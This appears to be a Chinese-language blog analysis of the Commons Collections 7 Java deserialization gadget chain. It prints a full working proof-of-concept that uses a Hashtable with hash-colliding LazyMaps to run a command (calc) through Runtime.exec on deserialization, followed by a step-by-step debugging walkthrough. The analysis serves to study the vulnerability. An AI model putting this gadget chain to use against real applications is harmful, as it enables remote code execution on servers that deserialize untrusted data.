Java安全之Commons Collections7分析

0x00 前言

本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链,CC8,9,10的链诞生,也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


            // Reusing transformer chain and LazyMap gadgets from previous payloads
            final String[] execArgs = new String[]{"calc"};

            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            execArgs),
                    new ConstantTransformer(1)};

            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);

            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
        }
    }

这里依旧是提取重要代码出来去做了一个简化。

抛去和前面重复的部分,下面分为三段代码去进行分析。

			Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
			Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

在这段代码中,实例化了两个 HashMap,并对两个 HashMap使用了LazyMaptransformerChain HashMap

绑定到一起。然后分别添加到 Hashtable中, 但是前面看到的都是使用一次,为什么这里需要重复2次重复的操作呢?

下面来分析一下。

HashtablereconstitutionPut方法是被遍历调用的,

第一次调用的时候,并不会走入到reconstitutionPut方法for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因。

 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
		lazyMap2.remove("yy");

前面的三段代码其实就是为了防止在序列化的时候,本地进行命令执行,前面先定义好一个空的,后面再使用反射将他的iTransformers进行替换。

其实最主要的是后面的lazyMap2.remove这个步骤。至于为什么需要在最后面移除该值,其实在LazyMap的get方法里面就可以看到。

如果不移除该方法就会走不进该判断条件的代码块中。而后面也会再调用一次put方法。

0x02 POC调试

依旧是在readobjetc的复写点打一个断点,这里面用到的是Hashtablereadobjetc作为入口点。

在其中会调用到reconstitutionPut方法,跟进一下。

前面说过,第一遍调用的时候,tab[index]是为空的,需要跟进到第二步的执行里面去查看。

在第二遍执行的时候就会进行到for循环里面,并且调用到keyequals方法。跟进一下该方法。

AbstractMapDecoratorequals方法会去调用this.mapequals。跟进一下。

下面代码还会继续调用m.get方法,在这里的m为LazyMap对象。

在最后就来到了LazyMap.get这一步,其实就比较清晰了。后面的和前面分析的几条链都一样。这里就不做分析了。

0x03 结尾

分析完了这一系列的CC链,后面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再后面就是开始写反序列化工具集了。